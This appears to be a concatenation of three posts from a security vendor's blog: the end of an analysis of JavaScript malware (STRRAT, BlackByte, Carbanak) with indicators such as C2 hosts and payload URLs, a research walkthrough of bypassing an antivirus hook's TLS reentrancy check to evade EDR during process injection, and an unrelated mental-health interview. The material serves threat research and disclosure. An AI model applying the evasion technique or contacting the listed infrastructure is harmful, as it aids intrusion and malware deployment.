STRRAT does not require Java to be installed on the infected system in order to operate. When the JavaScript wrapper/dropper is executed, if a suitable Java runtime installation is not found, one will be downloaded and installed in order to assure the contained Java payload can execute.<img data-image="i2kqllnrglb4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd686ff8df08503c7/6182056eb23afd5860106222/image.png" data-sys-asset-uid="bltd686ff8df08503c7" alt="image.png"/>Figure 8: STRRAT core payload snippet, encoded and obfuscated<img data-image="e5lzk05lu00z" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte2b49399858c273c/6182057571dc1b799a73f782/image.png" data-sys-asset-uid="blte2b49399858c273c" alt="image.png"/>Figure 9:STRRAT "bring your own JRE" function<img data-image="rirvzf0a0gh4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt05a1934a3baf7889/6182057ec9714c667b4fe23f/image.png" data-sys-asset-uid="blt05a1934a3baf7889" alt="image.png"/>Figure 10: STRRAT deploys and runs payload<h5>BlackByte Ransomware</h5>BlackByte is <a href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/">recently discovered</a> Ransomware with a .NET DLL core payload wrapped in JavaScript. It employs heavy obfuscation both in its JavaScript wrapper and .NET DLL core.Once the JavaScript wrapper is executed, the malware will de-obfuscate the core payload and execute it in memory. The core .DLL is loaded and BlackByte will check the installed operating system language and terminate if an eastern European language is found.It will proceed to check for the presence of several anti-virus and sandbox-related .DLLs, attempt to bypass AMSI, delete system shadow-copies in order to hinder system recovery, and modify several other system services (including Windows Firewall) in order to “prep” the system for encryption. Once the system is “ready” for encryption, it will download a symmetric key-file which will be used to encrypt files on the system. If this file is not found, the malware will terminate.Unlike most Ransomware today, BlackByte uses a single symmetric encryption key, and does not generate a unique encryption key for each victim system, meaning the same key can be used to decrypt all files encrypted by the malware.This makes for substantially easier key-management for the actors behind BlackByte at the cost of a weaker encryption scheme and easier victim system recovery (as there is only a single online point with a single key to maintain).As with most Ransomware today, BlackByte has worming capabilities and can infect additional endpoints on the same network.<img data-image="q5oyop7lvout" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt56c783ece3992782/6182058971dc1b799a73f786/image.png" data-sys-asset-uid="blt56c783ece3992782" alt="image.png"/>Figure 11: A snippet of BlackByte's contained encoded .NET payload<img data-image="79ii60vrkupx" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc7be9ba6cb1060cf/61820590912a3c799bc420e4/image.png" data-sys-asset-uid="bltc7be9ba6cb1060cf" alt="image.png"/>Figure 12: BlackByte AMSI bypass<h5>Carbanak/FIN7 JavaScript Backdoor</h5>Carbanak/FIN7 needs little introduction. Discovered in 2014, they are one of the most prolific and successful, financially-motivated threat actors in action today, responsible for an <a href="https://www.kaspersky.com/about/press-releases/2015_the-great-bank-robbery-carbanak-cybergang-steals--1bn-from-100-financial-institutions-worldwide">estimated $1 billion</a> in losses to countless financial institutions worldwide.Carbanak/FIN7’s main means of spreading malware consists of highly targeted and highly effective spear-phishing emails.A <a href="https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor">recently discovered</a> JavaScript based backdoor associated with the actor, however, appears to indicate a pivot in their activity — shifting from their mostly PowerShell-based malware to JavaScript, likely in an attempt to become less detectable to security vendors.Once executed, the backdoor will initiate a two-minute delay in an effort to avoid automated sandbox detection (analysis timeout), and then will collect the infected machine’s IP and MAC addresses, DNS hostname, and report back to its Command-and-Control server and execute any code it receives back as response.Carbanak/FIN7 are known to employ <a href="https://www.deepinstinct.com/blog/cobalt-strike-post-exploitation-attackers-toolkit">Cobalt Strike</a> as their post-breach follow-up malware.<img data-image="o7yucmahpyf4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta09ae3cb37666536/61820599912a3c799bc420e8/image.png" data-sys-asset-uid="blta09ae3cb37666536" alt="image.png"/>Figure 13: Obfuscated Carbanak Backdoor snippet<img data-image="l5lt9q48mfr1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltce6de2a81bee1d72/618205a1cc735f786653a65a/image.png" data-sys-asset-uid="bltce6de2a81bee1d72" alt="image.png"/>Figure 14: Carbanak Backdoor delay function<img data-image="wupffks33z5i" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7c1af91da88b2ec2/618205a919df7c77cdb1f50f/image.png" data-sys-asset-uid="blt7c1af91da88b2ec2" alt="image.png"/>Figure 15: Carbanak Backdoor gathers victim information<img data-image="9esunk3hbc0k" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte6e12c645868febc/618205b9cc735f786653a65e/image.png" data-sys-asset-uid="blte6e12c645868febc" alt="image.png"/>Figure 16: Carbanak Backdoor Command-and-Control URL "constructor" function<img data-image="sp0nssqpsd66" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta5ef3970bbe29510/618205c2c9714c667b4fe243/image.png" data-sys-asset-uid="blta5ef3970bbe29510" alt="image.png"/>Figure 17: Carbanak Backdoor Command-and-Control contact<h5>Conclusion</h5>The JavaScript landscape is rife with malware of all types and is highly dynamic. These are significant threats that cannot be disregarded.Threat actors around the world are developing and maintaining JavaScript-based malware that is on par in its functionality and sophistication with anything in the parallel landscapes of other Windows-supported scripting languages, all of which are gaining popularity as more and more threat actors are transitioning to the “no PE needed” mentality.For a demo of the world’s best malware-prevention solution, <a href="https://www.deepinstinct.com/request-a-demo">request a demo</a>.IOCs of examined samples:VJw0rmSHA256: 080069323805f67a898f62517b17786d46cc51e9894cd490ee0ba789271e1d9cC2: 180.214.239.36:8050WSHRatSHA256: ec5d3e6da18db71027ea5a54ff0e4be63313b4986d3ef8b020a4a79ae3866571C2: jahblessrtd4ever.home-webserver.de:1604Drops Remcos RAT: 52cbc7b3e3c373b8857245207f0cfca50c35b6edc49255441f74fdf45a71ac46(Remcos employs same C2 as WSHRat)STRRATSHA256: 213c775b371b55c48308650f29ad041a889ef24bf58069d380b4be6e558b82e9SHA256 (JAR): 6b723bd260b53c68c716ef218c78718d3e99ab4d4238a4bd823fd0cd6ec8007b"bring your own JRE” URL: wshsoft.company/jre7.zipC2: str-master.pwBlackByte RansomwareSHA256: 884e96a75dc568075e845ccac2d4b4ccec68017e6ef258c7c03da8c88a597534Key file URL: 45.9.148.114/forest.pngCarbanak/FIN7 JavaScript BackdoorSHA256: caa7667bfdbcb04ceb9d81df93fe805dfe4ac8a04b9dd3eaab7b5f7c87c4fc9cC2: civilizationidium.com

Understanding the Windows JavaScript Threat Landscape

Understanding and Preventing Re-Entry Abuse Blog

API-blog.png

Cybercriminals have developed a diverse toolset to uncover vulnerabilities and repurpose existing software features to find entry points through cyber defenses. In this blog, we’ll explore a new way to exploit reentrancy that can be used to evade the behavioral analysis of EDR and legacy antivirus products.While the technique we’ll examine focuses on a single-hooked API, this method of evasion can be used against almost any antivirus tool’s hooks by reverse-engineering the AV product to allow a bypass and custom-tailoring the bypass method.Most antivirus and <a href="https://www.deepinstinct.com/endpoint-detection-response">endpoint detection and response (EDR)</a> products focus on scanning and detection, with some leveraging additional capabilities on top of their file scanning mechanism to detect malicious activity.One of these capabilities involves tracking processes in-memory through behavioral analysis or heuristics. In short, the antivirus solution will detect or prevent certain behaviors that are deemed to be malicious, such as dumping credentials from memory or injecting code into another process. Finding these malicious activities helps the antivirus software detect a threat that isn’t caught by the file-scanning capability. It is also useful when the file hash is not blacklisted, or the <a href="https://www.deepinstinct.com/prevent-fileless-malware">attack is fileless</a>.In order to find malicious behavior in process, an antivirus product will usually have its own DLL loaded into every process via its signed kernel driver on process startup. Once loaded, this DLL will then place hooks on the APIs that require tracking.For code injection, kernel32.dll’s functions including “CreateRemoteThread,” “VirtualAllocEx,” and “WriteProcessMemory” will most frequently be used. Most of the time security vendors will prefer to hook the lowest-level API possible, such as hooking “NtWriteVirtualMemory” inside ntdll.dll instead of “WriteProcessMemory.” This is done for programs that do not call the higher-level APIs, which can limit the heuristics’ ability to catch malicious behavior.<h5>What is Inline Hooking?</h5>Userland hooks is a very popular way for antivirus tools to inspect the behavior of a process. Hooking is the process of intercepting a function call. As the guardian of the endpoint, intercepting calls to various APIs allows the antivirus product to not only detect, but also to prevent unwanted or suspicious activity. This is done most by inline hooking (sometimes known as detouring).<img data-image="qlu9mb7yhm24" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2713eaae59a43747/6178faf63ce65615842b4220/image.png" data-sys-asset-uid="blt2713eaae59a43747" alt="image.png"/><h5>Hooking and Reentrancy</h5>A very common problem that occurs when hooking Windows APIs is reentrancy. This occurs when a thread calls a hooked API, and the hook then calls another hooked API, or even that same hooked API (either directly or indirectly). This process can lead to unnecessary overhead—and can also lead to an infinite recursion.Reentrancy issues are a significant challenge for antivirus tools because using hooks on every single process can cause severe stability issues, freezing, and other performance problems. A common approach to this is to be careful about what code to write in the hook itself and make sure to not call any other API (directly or indirectly); this method limits what behaviors can be monitored. However, a more elegant solution is simply to check for reentrancy. In this approach the hook’s trampoline will be called directly if reentrancy is detected, skipping whatever checks and logic the hook usually goes through in its process.Below is a diagram to show the flow of a reentrancy-friendly hook:<img data-image="51fqvdrot7c9" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4afc4f4f72a4f7c3/6178fb1f5ae6d31579c1be3a/image.png" data-sys-asset-uid="blt4afc4f4f72a4f7c3" alt="image.png"/><h5>Technical Explanation</h5><h6>Locating Hooks</h6>For this next section we will play the part of the attacker and walk through the steps that one would take to evade antivirus with one line of code.The first step to locate a hook is to determine what APIs are hooked. <a href="https://guidedhacking.com/resources/hookshark-hookshark64-download.30/">HookShark</a> is a terrific tool to detect inline hooking. It provides a quick way to find what APIs a security vendor hooks.<img data-image="njhdtuf14rv8" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdfd1a29b7a2f5fbe/6178fb2fece6b40b35072700/image.png" data-sys-asset-uid="bltdfd1a29b7a2f5fbe" alt="image.png"/>For this example, when Notepad is launched, pressing “Scan this process” shows these results:<img data-image="iku7flg2ammy" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt20ca12233b5bb43d/6178fb42c05249199df194b2/image.png" data-sys-asset-uid="blt20ca12233b5bb43d" alt="image.png"/>An API that caught our attention is NtWriteVirtualMemory, which is used for process injection techniques. As the attacker, we will determine if the antivirus would detect the attempt at process hollowing (using the project here:<a href="https://github.com/m0n0ph1/Process-Hollowing" target="_blank"> https://github.com/m0n0ph1/Process-Hollowing</a>). As we can see, it was detected:<img data-image="m6avs4uscsv0" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt85cd92a33044918f/6178fb542378d322b063398c/image.png" data-sys-asset-uid="blt85cd92a33044918f" alt="image.png"/>The second step is to determine where the hook sits. Luckily for us, the hook is inside the antivirus’ injected DLL – aswhook.dll.<img data-image="xwjvyni4jd2m" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt530b79ae942221b3/6178fb60ece6b40b35072704/image.png" data-sys-asset-uid="blt530b79ae942221b3" alt="image.png"/><img data-image="3uch38rnstqh" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3920462f2ededd08/6178fb7e412fb409f16bf8b9/image.png" data-sys-asset-uid="blt3920462f2ededd08" alt="image.png"/><h6>Disassembling the Hook</h6>Now that we know what file to disassemble, it should be very easy to open IDA and locate the hook.This is the function as seen in IDA:<img data-image="a8hpdtk536pb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8d59730b365dd078/6178fb929778eb18575b37e8/image.png" data-sys-asset-uid="blt8d59730b365dd078" alt="image.png"/>Now, we know this a hook for the function “NtWriteVirtualMemory,” so this should be what the API looks like:<pre>NTSTATUSNtWriteVirtualMemory( INHANDLEProcessHandle, INPVOIDBaseAddress, INPVOID Buffer, INULONGNumberOfBytesToWrite, INOUTPULONGNumberOfBytesWritten);</pre> Now, we can simply change the function’s definition and name: <img data-image="yz89k4qxtzeb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta35bc5a196d2f85f/6178fbaa16d29a13daa7b192/image.png" data-sys-asset-uid="blta35bc5a196d2f85f" alt="image.png"/>This will be easier to disassemble now that we know the type definitions of all the arguments.The hook looks like this:<img src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4c058861f81b164/6179ae76c1c6cd50df579a20/blog-hook-start.jpg" height="auto" data-image="xit6w3385p4q"/>Here is the decompiled version:<img data-image="zetg0s7fuggd" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf80cea3fba15f9da/6178fc2c9778eb18575b37f2/image.png" data-sys-asset-uid="bltf80cea3fba15f9da" alt="image.png"/>As we can see, there are four conditional jumps being made before the hook logic starts. At least one of them should be the reentrancy check. If any of the conditions are met, the trampoline will be called directly, skipping the logic of the hook. As we see in the first screenshot, the first conditional jump checks whether ProcessHandle is a pseudo-handle (-1) to the current process. Since that isn’t very helpful, let’s see what the three other conditions are.<img data-image="7k0ht03xwr7u" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4b279d09d0983587/6178fc3ab3a30224326378ca/image.png" data-sys-asset-uid="blt4b279d09d0983587" alt="image.png"/>As we see in this screenshot, var_4 is a pointer to an integer. If sub_10006820 returns something other than 0x0, or if var_4 is NULL or the value inside var_4 is 0x1, a conditional jump will occur.We can deduce that sub_10006820 sets the value of var_4, probably according to the value stored in dword_10008060. Let’s disassemble it:<img data-image="mopkmovtw3jb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt04762957afbb5612/6178fc447569022433507d17/image.png" data-sys-asset-uid="blt04762957afbb5612" alt="image.png"/>First, we know inside fs:18h is the TEB (Thread Environment Block), so after we added “_TEB” struct definition to IDA, we can now see something pretty interesting:<img data-image="xf0f4audn54a" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcc041fb9d5762845/6178fc5bc05249199df194b6/image.png" data-sys-asset-uid="bltcc041fb9d5762845" alt="image.png"/>In 0x10006837 we see that ecx is using an index in the TEB’s TlsSlots member. This refers to TLS – Thread Local Storage (see note #1).The TEB.TlsSlots array size is 64. But what if a program wants to allocate a TLS slot in the 65th index? In 0x1000682F, we see ecx being compared to the value 64. So, this translates roughly to the following C code:<pre>if (*dword_10008060 &lt;= 64) *arg_4 = TEB.TlsSlots[dword_10008060];</pre> In 0x10006844 ecx is being compared to 1088. IDA doesn’t offer any known constants for this seemingly arbitrary value. If we continue with the disassembly, however, this makes more sense:<img data-image="w4ww493td64s" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0fcea1f8e2acbc93/6178fc7e2d2c9113dd588eeb/image.png" data-sys-asset-uid="blt0fcea1f8e2acbc93" alt="image.png"/>The instruction at 0x10006853 refers to edx again, which we know to be a pointer to TEB. This means that [edx+0F94h] translates to TEB.TlsExpansionSlots.Going back to the previous question – if a program calls TlsAlloc() after all the slots of the TEB.TlsSlots array are already allocated, TlsAlloc() will internally allocate memory on the heap via RtlAllocateHeap() and set TEB.TlsExpansionsSlots member to that allocated memory’s address. This gives the thread an additional 1024 TLS slots it can use. If there’s an attempt to write to a TLS slot whose index is above 64, it will write to the allocated memory on the heap instead of the TEB.TlsSlots array.So, now the number 1088 makes sense – it’s just the result of 1024 (number of available slots in the TlsExpansionSlots that are stored on the heap) + 64 (number of available slots in the TlsSlots that are stored directly inside the TEB). So, if the value stored in dword_10008060 is above 1088, it’s considered an illegitimate index.While we may be tempted to propose a solution where our malicious program allocates all the 1088 TLS slots in order for this subroutine to return STATUS_INVALID_PARAMETER, this solution isn’t possible because the vendor’s DLL allocates an index once it loads into the process, which is too early for us to intercept.Back to the code – if the conditional jump at 0x1000685B happens, the value inside arg_4 will be set to 0x0. This roughly translates to the following C code:<pre>if (TEB.TlsExpansionSlots == NULL) *arg_4 = 0x0;</pre> So now that we know how the value arg_4 is set, we can go back here:<img data-image="0rsb3lqfu4py" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd3902f1a8e117fe7/6178fd199778eb18575b37f6/image.png" data-sys-asset-uid="bltd3902f1a8e117fe7" alt="image.png"/>We now know that var_4 is the value stored in the TLS slot, so we’ll rename it TlsValue. We also know dword_10008060 is a pointer to a TLS index, so we’ll rename it g_TlsIndex.This roughly translates to the following C code:<pre>PDWORD TlsValue; if (sub_10006820(g_TlsIndex, TlsValue) == 0 || TlsValue == NULL || *TlsValue == TRUE) // Skip the hook’s logic</pre> The instruction at 0x10002A81 sets the value stored at *TlsValue to 0x1. Later, we can see this value is set back to 0x0 (at 0x10002ABF): <img data-image="yxo9igmaljsn" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf88cbaed666d5114/6178fd2f5ae6d31579c1be54/image.png" data-sys-asset-uid="bltf88cbaed666d5114" alt="image.png"/>To recap, the security vendor accesses a TLS slot via a global variable to store an address which points to a Boolean value, which, if set to FALSE will cause the code to perform the hook’s logic, and if it is TRUE, it will skip it and go straight to the trampoline. Once it finishes doing the hook’s logic it will reset the Boolean value back to FALSE.<h6>Exploiting the Reentrancy Mechanism</h6>If the g_TlsIndex is above 64, TlsExpansionSlots must be set to NULL so that TlsValue will also be set to NULL. If g_TlsIndex is 64 or below. TlsValue should be NULL or the Boolean value in the address stored inside of it must be set to TRUE.Without knowing the value of g_TlsIndex we have no way of knowing which TLS slot to manipulate, so what should we do?Our solution is to set all of the TLS slots and TlsExpansionSlots to NULL temporarily before a call to NtWriteVirtualMemory, and once we return from that call, we can restore all the TLS slots to their previous state. This is an easy solution that can be integrated with any malicious code; we simply have to slightly modify the source code of whatever offensive tools we want to use.A more elegant solution would be to use a C++ object that will be allocated on the stack. What it will do in its constructor is back up the values of all the TLS slots and the pointer of TlsExpansionSlots and then set them all to NULL, and once its destructor is called then it will restore the original values of all of the TLS slots and the pointer of TlsExpansionSlots.This action looks like this:<img data-image="4qll4tu9b605" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb65f93615bb6886a/6178fd3fb3a30224326378ce/image.png" data-sys-asset-uid="bltb65f93615bb6886a" alt="image.png"/>Whenever we want to call an API that we know is hooked, we will simply create a block of code around the call to that API. Creating a block of code guarantees that TlsKiller’s destructor will be called as soon as the hooked API is over. In our case we know that WriteProcessMemory ends up calling NtWriteVirtualMemory so we must put TlsKiller in the same block as WriteProcessMemory. For the sake of brevity one example is given:<img data-image="86n8g5ein5ab" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte93574cc799398ba/6178fd4f3ce65615842b422c/image.png" data-sys-asset-uid="blte93574cc799398ba" alt="image.png"/>After re-compiling and running the executable, we get this:<img data-image="ln129groaw99" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta1951d18dc9ccd06/6178fd58fdb9af22b36e3b86/image.png" data-sys-asset-uid="blta1951d18dc9ccd06" alt="image.png"/>No complaints from the Antivirus!<h6>One Line of Code to Evade Antivirus</h6>It seems that by simply adding one line of code before a call to a hooked API we were able to completely evade the antivirus tool’s behavioral analysis.Depending on which attacks the antivirus aims to prevent with its memory heuristics it is possible to bypass whatever defense they will put up, as long as they use the same method of checking for reentrancy in their hooks.Some antivirus products may devise their own methods to avoid reentrancy, and others might use TLS indexes too, which means they will also be susceptible to this attack. While they might do it differently (for example, not use the heap at all and just set the TLS slots as Boolean value or as an integer value), it will take very little effort to see if their hooks can be bypassed.Other antivirus solutions might devise an entire mechanism altogether. It should also be noted that not all of the hooks placed by an antivirus have a mechanism to avoid reentrancy (for example NtProtectVirtualMemory is hooked but no check is done for reentrancy), so it is important to know which functions are affected by this.<h5>Conclusion:</h5>While Antivirus products have a high detection rate when it comes to known malware, they often prioritize stability first, requiring them to be compatible with edge-cases and overall performance. This lessens their security posture and opens up myriad possibilities for attackers. Therefore, a feature which was intended for stability can be re-purposed as a bypass method and open a path for intrusion and compromise. Further research will shed more light on which features of an antivirus can be abused.If you’d like to learn more about Deep Instinct’s industry-leading approach to stopping malware, backed by a $3M guarantee, please download our new eBook, <a href="https://info.deepinstinct.com/tof/ransomware-prevention?_ga=2.190475299.904700770.1623078264-1598413446.1621950290">Ransomware: Why Prevention is better than the Cure</a>.<h5>Note #1: TLS Slots</h5>TLS stands for “Thread Local Storage,” which some researchers might recognize by name as a known mechanism to run code before the PE’s entrypoint (TLS callbacks). This is, however, something else and unrelated.Thread Local Storage is exactly what it sounds like – a place for threads to store their own local information in the TEB.TlsSlots array, which is an array of void pointers called TLS slots. Basically, that means that every thread has its own array which it can fill with values as it sees fit.Since the mechanism is a bit more complicated than just accessing an array, there are 4 APIs that can be used for TLS:TlsAlloc() – Allocates an index for the TLS. This index will be considered reserved and can be used by any thread to get and set their local values in their TEB.TlsSlots.TlsFree(DWORD dwTlsIndex) – Releases the index allocated by TlsAlloc().TlsGetValue(DWORD dwTlsIndex) – Returns the value stored in the thread’s TEB.TlsSlots[dwTlsIndex].TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue) – Sets lpTlsValue as the value in TEB.TlsSlots[dwTlsIndex].<h5>References:</h5><a href="https://docs.microsoft.com/en-us/windows/win32/procthread/thread-local-storage">https://docs.microsoft.com/en-us/windows/win32/procthread/thread-local-storage</a><a href="http://www.nynaeve.net/?p=181">http://www.nynaeve.net/?p=181</a><a href="https://github.com/microsoft/detours/wiki/OverviewInterception">https://github.com/microsoft/detours/wiki/OverviewInterception</a>

Evading EDR Detection with Reentrancy Abuse

blog-Mental-Resilience.png

<h5>A Conversation with Amber Coster</h5>With a shortage of <a href="https://cyberacademy.co/cybersecurity-talent-crunch-to-create-3-5-million-unfilled-jobs-globally-by-2021/">3.5 million</a> cybersecurity professionals worldwide, ever-increasing attack vectors, an exponential increase in attack volume, and the multitude of new vulnerabilities the new work-from-anywhere normal has created, there has never been a more challenging time for SecOps professionals.Many industry professionals have not returned to the office yet, and those who have returned may only be there a few days each week. In-person team collaboration and engagement has been limited for the last 18 months. Taken in combination, the pressure and demands on SecOps teams is monumental. How can you stay resilient in the face of all these dynamics?We turned to an expert in this topic, Amber Coster, founder of workplace wellness consultancy <a href="https://www.balpro.com/">Balpro</a><a href="https://www.balpro.com/">,</a> for some guidance on a rarely discussed but highly relevant topic. Here is our Q&A:<h5>How has the topic of mental health evolved over the past 3-5 years?</h5>For a long time, the words “mental health” would trigger black and white images of a person crying the corner of a room, helpless, curled up in a ball. We heard “mental health” and saw illness, sorrow, or even danger. But we’re starting to appreciate that this picture is not an accurate representation of mental health. Just like physical health, we all have it, and how we’re feeling on any day falls on a spectrum. Ever so slowly we’re starting to appreciate that we can struggle with our mental health, we can be mentally unwell — and we can also achieve extraordinary things. We can be world class athletes, wonderful parents, great friends, and model employees.More recently, the conversation around prevention has started to gain real traction. We’re exploring ways to build our mental fitness and starting to appreciate that there are things we can do today to help protect our mental strength.We shouldn’t get too smug, though. We’ve made progress but stigma has not been eradicated. Judgement exists and healthcare is underfunded and inaccessible for many; there’s huge progress still to be made.<h5>Why are people more willing and open to talking about this topic (e.g. losing stigma, albeit slowly)?</h5>Sharing inspires sharing. People are relating to other people’s stories and being inspired to share their own. Each conversation gives those who are struggling hope and chips away at the stigma and shame.When you’re depressed it can be hard to see a future that holds any joy, possibility, or success. Learning that Michael Phelps experienced anxiety, depression, and suicidal thoughts before going on to win 28 medals during his Olympics career — well, that can change things for a person. It can give a flicker of optimism, a light at the end of the tunnel. People are then inspired to pay it forward, giving hope to others.Mental illness can feel exceptionally cruel, isolating, and demeaning. For many, it takes courage to share stories, to be vulnerable. It’s normal to struggle with your mental health but it doesn’t always feel that way, especially when you’re in it. The more we share, the more the topic is normalized, and the more people are given hope.<h5>What impact has the pandemic had on people’s mental resilience?</h5>One of the best quotes of the pandemic is that we were all “in the same storm, but in different boats.” We’ve experienced collective trauma, but our experiences are far from the same, and therefore our resilience varies greatly. It is so important not to lose sight of this.A lot of people are tired, they’re experiencing heightened health anxiety, grief, and the future still feels a little less secure than it did pre-covid. Others are excited to get back into the world, “make up for lost time,” and feel energized. Almost everyone has reassessed their values to some extent. It’s so important to meet people where they’re at and recognize that this in itself may change day by day.<h5>What are some of the tell-tale signs that a person needs to act?</h5>Everyone’s baseline of “mentally healthy” is different and so are the signals that our bodies and minds will send us. Getting to know yourself is key. One person may eat less, one may eat more; one person will bury themselves in work, others will stare at their screens unable to process simple tasks; one will want to hibernate and the other will be the life and soul of the party, desperate for the night not to end.Start by asking yourself how you’re doing and listen to the answer. Are you finding you have less interest in things that used to bring joy? How’s your sleep? Are you restless, apathetic? And how long have you been feeling like this?Often we’ll have a nagging feeling that something is not quite right, and often, we’ll try to ignore it. Don’t! Learning to listen to our bodies and minds — and critically, taking action — gives us the best chance of preventing reaching a point of crisis.<h5>Can you suggest three quick impact practices that readers of the blog could action straight away?</h5>Get outside — Even if just for a 15-minute walk. Get the blood pumping, breathe some fresh air, connect with nature, and give creativity a chance to return.Get a win a day —It can feel paralyzing to have so many conflicting priorities, spinning plates, pinging alerts; sometimes "important/urgent" just doesn't cut it. Focus on a win a day. Just one little win. That way, when you get into bed that night you concentrate on that one thing you got right rather than the 100 things that are still “to do.”Connect with others —Being part of a safe and supportive community is critical for our mental well-being. And remember, sharing inspires sharing.<h5>What should someone do if they’re struggling with their mental health?</h5>Never hesitate to contact your local emergency services department if you feel you or a loved one is at risk to themselves or others — that’s exactly what they’re there for.Crisis text line is a wonderful organization that supports people who are struggling. You can text SHOUT to 85258 (UK) or HOME to 741741 (USA) to be connected to a crisis volunteer for free, 24/7.For those outside of the US/UK, your doctor is a great place to start. If this doesn’t work for you, search “mental health support” to locate a charitable organization in your country — there are so many wonderful organizations in this area. Whatever you do, don’t do it alone. Speak up, help is closer than it feels. If you’re based in the UK, <a href="https://www.balpro.com/blog/im-struggling">here’s</a> some additional advice. Learn more from Amber as she co-hosts a SANS webinar, “Building Mental Resilience as a SecOps Professional,” with Deep Instinct on October 28th at 10:30 AM EDT. Register <a href="https://www.sans.org/webcasts/building-mental-resilience-as-a-secops-professional/">here</a> to attend.